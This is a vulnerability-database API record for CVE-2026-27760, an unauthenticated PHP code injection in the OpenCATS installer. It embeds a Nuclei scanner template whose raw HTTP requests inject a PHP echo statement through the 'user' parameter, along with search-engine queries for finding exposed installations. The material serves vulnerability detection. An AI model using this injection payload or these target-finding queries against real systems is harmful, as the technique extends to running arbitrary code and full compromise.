{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-27760/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-27760/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-27760/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-27760/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-27760/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-27760"},"sightings":{"href":"/api/v1/sightings/cve-2026-27760"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-27760.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-27760\n\ninfo:\n  name: OpenCATS - Command Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code remotely, leading to full system compromise.\n  remediation: |\n    Update to the version after commit 3002a29 or latest available version.\n  reference:\n    - https://chocapikk.com/posts/2026/opencats-installer-rce/\n    - https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6\n    - https://github.com/opencats/OpenCATS\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27760\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-27760\n    epss-score: 0.32975\n    epss-percentile: 0.98365\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: opencats\n    product: opencats\n    shodan-query:\n      - title:\"opencats\"\n      - http.title:\"opencats\"\n    fofa-query: title=\"opencats\"\n    google-query: intitle:\"opencats\"\n  tags: cve,cve2026,opencats,rce,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"!contains(body, 'installLocked')\"\n          - \"contains(body, 'setActiveStep')\"\n          - \"status_code == 200\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user=cats');echo+'{{randstr}}'.md5('{{randstr}}');//\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n  - raw:\n      - |\n        GET /index.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, '{{randstr}}' + md5('{{randstr}}'))\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a00473045022100e667772feb216a65c213b879ccd668b00eba42f5ebd5b6d5abb7c4b2fa01e31a022021a4e063d46fb1249da4234cb6afee4362418c5b2211890bdedba7ae9d6b80df:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-27760"}